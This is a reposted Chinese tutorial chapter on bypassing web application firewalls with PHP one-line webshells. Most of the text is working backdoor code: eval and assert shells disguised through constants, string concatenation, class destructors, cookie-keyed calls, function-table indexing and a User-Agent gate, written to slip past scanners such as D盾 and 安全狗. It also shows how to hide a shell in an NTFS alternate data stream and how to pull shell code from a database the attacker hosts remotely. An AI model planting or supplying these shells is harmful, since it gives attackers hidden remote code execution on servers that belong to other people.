首页 > 其他 > 详细

网络安全从入门到精通(第九章-6) Bypass - 绕过阻挡我们的Waf (下)

时间:2020-04-25 21:51:55      阅读:56      评论:0      收藏:0      [点我收藏+]

本文内容:

  • WAF检测机制
  • 常见绕过手法

 

1,WAF检测机制:

  常见的一句话木马:<?php @eval($_REQUEST[‘a‘])?>

  WAF最直接的检测就是正则匹配,当遇到拦截时,就应该考虑它是怎么拦截的,匹配的是什么?

  将代码一点一点书写,看是那个部分被匹配,导致被拦截。

  如:拦截的是$_REQUEST[]那么传参就可以尝试一下不出现中括号行不行。

  更改成:

    <?php @eval (end($_REQUEST));?>

    使用一个函数end,代替[],end函数的意义:输出数据中的当前元素和最后一个元素的值,这里就一个,所有就是输入当前元素值,唯一缺点:无密码。

2,常见绕过手法:

  1.通过常量定义:

    如:

     <?php define("a","$_REQUEST[a]");eval(a);?> 

  2.通过字符串拼接+双美元符号:

    如:  

      <?php
      $a=‘ass‘;
      $b=ert;
      $funcName=$a.$b;
      $x=‘funcName‘;
      $$x($_REQUEST[‘a‘]);
      ?>
      $assert($_REQUEST[1]); assert类似于eavl
      为什么要用assert,因为php中eval不能拼接执行(规定)

  3.通过函数定义强行分离:   

    如:

      <?php
      fuction a($a){
      return $a;}
      eval(a($_REQUEST)[‘a‘]); 强行分隔$_REQUEST[‘a‘]
      ?>

  4.通过类定义,然后传参强行分隔:  

    如:  

      <?php
      class User{
      public $name=‘‘;
      function __destruct(){
      eval("$this->name");
      }
      }
      $user=new User;
      $user->name=‘‘.$_REQUEST[‘a‘];
      ?>

  5.多方式传参免杀:

    如:   

      <?php
      $COOKIE=$_COOKIE;
      foreach($COOKIE as $key=>$value){
      if($key==‘assert‘){
      $key($_REQUEST[‘a‘]);
      }
      }
      ?>
      需要对cookie传参

  6.通过所有函数,二维数组调用免杀:

    如:  

      <?php
      $a=get_defined_functions();
      $a[‘internal‘][841]($_REQUEST[‘a‘]);
      ?>
      通过二位数组,数组,键,值。

  7.绕D盾:

    如:

      <?php
      if($_SERVER[‘HTTP_USER_AGENT‘]===‘1‘){
      eval (end($_REQUEST));}?>
      需要抓包将USER_AGENT改为1

  8.得到shell,藏shell:NTFS文件流,寄存:

    如:  

      echo abcd>>a.txt:b.txt 将abcd写入a.txt:b.txt,很明显生成一个a.txt,将b.txt寄宿到a.txt文件上。
      任意文件存放,访问即可
      <?php include(‘/:123.txt‘)?>
      藏shall,将获取的shall藏到[寄存]/文件里
      echo"<?php eval($_REQUEST[‘a‘]);?>">>/:123.txt
      dir也查询不到
      安全狗检测不出,D盾爆出可疑
      只有windows里可以用。

  9.终极大法:

    如:

      <?php
      eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect(‘127.0.0.1‘,‘root‘,‘root‘,‘database‘),‘select * from table_name‘))[‘column_name‘]);
      ?>

    通过连接数据,执行数据库,查询info表里,info字段,只能查询一条数据,所以第一条数据要放一句话木马:<?php @eval($_REQUEST[‘a‘])?>

    让服务器去连接读取我们放在公网的数据库的内容,可以使用香港云、虚拟主机等。

网络安全从入门到精通(第九章-6) Bypass - 绕过阻挡我们的Waf (下)

原文:https://www.cnblogs.com/xz25/p/12775425.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!